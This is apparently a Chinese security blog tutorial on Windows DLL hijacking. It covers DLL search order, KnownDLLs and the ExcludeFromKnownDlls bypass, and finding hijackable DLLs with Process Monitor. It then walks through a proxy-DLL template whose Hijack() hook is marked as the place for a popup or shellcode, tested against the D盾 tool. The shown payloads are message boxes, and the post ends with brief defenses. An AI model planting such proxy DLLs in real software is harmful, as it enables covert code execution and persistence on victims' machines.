0x01 dll简介

在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。

每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:

  • 1.进程装载DLL。
  • 2.进程卸载DLL。
  • 3.DLL在被装载之后创建了新线程。
  • 4.DLL在被装载之后一个线程被终止了。

    另外,每个DLL文件中都包含有一个导出函数表也叫输出表(存在于PE的.edata节中)。使用一些PE文件查看工具如LoadPE,就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。

    应用程序导入函数与DLL文件中的导出函数进行链接有两种方式:隐式链接(load-time dynamic linking)也叫静态调用和显式链接(run-time dynamic linking)也叫动态调用。隐式链接方式一般用于开发和调试,而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数(注:涉及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径,

dll路径搜索规则

但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径

调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。

  • 1.程序所在目录。
  • 2.加载 DLL 时所在的当前目录。
  • 3.系统目录即 SYSTEM32 目录。
  • 4.16位系统目录即 SYSTEM 目录。
  • 5.Windows目录。
  • 6.PATH环境变量中列出的目录

    微软为了防止DLL劫持漏洞的产生,在XP SP2之后,添加了一个SafeDllSearchMode的注册表属性。注册表路径如下:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

    当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:
  • 1.程序所在目录
  • 2.系统目录即 SYSTEM32 目录。
  • 3.16位系统目录即 SYSTEM 目录。
  • 4.Windows目录。
  • 5.加载 DLL 时所在的当前目录。
  • 6.PATH环境变量中列出的目录。

在win7以上版本

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。

所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下

  • 1.应用程序所在目录。
  • 2.系统目录SYSTEM32 目录。
  • 3.16位系统目录。没有获取该目录路径的函数,但会对其进行搜索。
  • 4.Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
  • 5.当前目录
  • 6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。

    Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

    不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。

在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。

无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。

键值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win10的如下

0x02 搜索加载的dll

有很多软件可以查看exe加载的dll

process-explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer



火绒剑



Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

类似下图这种就是该dll在KnownDLLs注册表项里

劫持测试

这里用D盾进行劫持实验

还是先使用Process Explorer



可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试

当然这里也有偷懒的方法,批量自动化测试

这里ctrl+s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里



存在的话就会直接输出结果



不存在就会显示no



上面显示存在两个dll可能可以劫持

这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。

进阶测试

但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。

所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。

这里我们制作一个弹窗的dll来进行测试,

1.首先使用VS2019新建一个DLL项目



2.在生成的dllmain.cpp下添加

void msg() {
MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);
}

3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

然后编译生成Dll1.dll



再新建一个C++项目,填入如下代码

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}

想了解dll编写细节的可以看这里

再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe



成功弹窗

这里我们用之前转发劫持dll的思路,来试验一下

这里我用脚本一键生成用来劫持的dll



这是默认生成的

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代码
{ }
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_msg = GetAddress("msg"); Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll

lstrcpy(tzPath, TEXT("Dll2.dll"));

然后在代码这一行添加弹窗或者执行shellcode

VOID Hijack()   //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }

然后编译生成

再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下



运行Meg.exe这时候应该会有两个弹窗



可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗

0x03 防御

通用免疫方案:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session

Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器

或者可以在加载dll是检测MD5和大小,来防御.

DLL劫持学习及复现的更多相关文章

  1. 微信DLL劫持反弹shell复现

    (该文参考网络他人资料,仅为学习,不许用于非法用途) 一.操作环境 Windows7 :  微信  , Process Explorer(任务管理工具,本实验中用于查找微信程序调用的DLL文件) Ka ...

  2. dll劫持破坏360

    0x01 前言 说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动.破解程序的内存补丁.外挂插件的注入以及加密狗的模拟等.之所以DLL劫持技术深受黑客们的喜爱,主要 ...

  3. [转载]DLL劫持生成器 源码开放(纯WINDOWS SDK)+ 实例分析

    本菜最近学习了什么DLL注入啊,hook啊(r3)的相关技术,觉得很好玩,于是深入发现还有DLL劫持这种东西觉得挺好玩的,加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象.于是自己想找几个来 ...

  4. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  5. dll劫持技术

    DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...

  6. DLL搜索路径和DLL劫持

    DLL搜索路径和DLL劫持 环境:XP SP3 VS2005 作者:magictong 为什么要把DLL搜索路径(DLL ORDER)和DLL劫持(DLL Hajack)拿到一起讲呢?呵呵,其实没啥深 ...

  7. Linux 动态链接库 - dll劫持

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  8. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  9. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

随机推荐

  1. hdu4533 威威猫系列故事——晒被子

    Problem Description 因为马拉松初赛中吃鸡腿的题目让不少人抱憾而归,威威猫一直觉得愧对大家,这几天他悄悄搬到直角坐标系里去住了. 生活还要继续,太阳也照常升起,今天,威威猫在第一象限 ...

  2. 主席树 【权值线段树】 && 例题K-th Number POJ - 2104

    一.主席树与权值线段树区别 主席树是由许多权值线段树构成,单独的权值线段树只能解决寻找整个区间第k大/小值问题(什么叫整个区间,比如你对区间[1,8]建立一颗对应权值线段树,那么你不能询问区间[2,5 ...

  3. F(x) HDU - 4734

    题意: 给你一个n位的数x(A(n)A(n-1)...A(1)),那么F(x)=A(n)*2^(n-1)+A(n-1)*2^(n-2)......+A(1)*2^(0) 题目输入A.B 你需要找出来在 ...

  4. MySQL 连接管理

    目录 MySQL 连接方式 TCP/IP 连接 Socket 连接 MySQL 连接工具 自带连接工具 第三方连接工具 MySQL 连接方式 TCP/IP 连接 # TCP/IP 连接 mysql - ...

  5. 设计模式(二十二)——状态模式(APP抽奖活动+借贷平台源码剖析)

    24.1 APP 抽奖活动问题 请编写程序完成 APP 抽奖活动 具体要求如下: 1) 假如每参加一次这个活动要扣除用户 50 积分,中奖概率是 10% 2) 奖品数量固定,抽完就不能抽奖 3) 活动 ...

  6. Redis 的缓存淘汰机制(Eviction)

    本文从源码层面分析了 redis 的缓存淘汰机制,并在文章末尾描述使用 Java 实现的思路,以供参考. 相关配置 为了适配用作缓存的场景,redis 支持缓存淘汰(eviction)并提供相应的了配 ...

  7. Eclipce怎么恢复误删类

    选择误删除文件在eclipse所在包(文件夹) 在包上单击右键. 选择restore from local history... 在弹出的对话框中选择需要恢复的文件

  8. C#通过NI-VISA操作Tektronix TBS 2000B系列示波器

    一.概述 本文描述采用C#语言访问控制Tektronix TBS 2000B 系列示波器.接口协议采用NI-VISA. 最近一个项目需要和一款示波器进行通信,需要对示波器进行一些简单控制并获取到波形数 ...

  9. shit mint-ui & navbar click event bug

    shit mint-ui & navbar click event bug # Vue 2.0 npm install mint-ui -S // 引入全部组件 import Vue from ...

  10. RocketMq灰皮书(一)------选型&RocketMQ名词

    RocketMq灰皮书(一)------选型&RocketMQ名词 一. MQ选型对比 目前业内常用的MQ框架有一下几种: Kafka RabbitMQ RocketMQ 除此之外,还有Act ...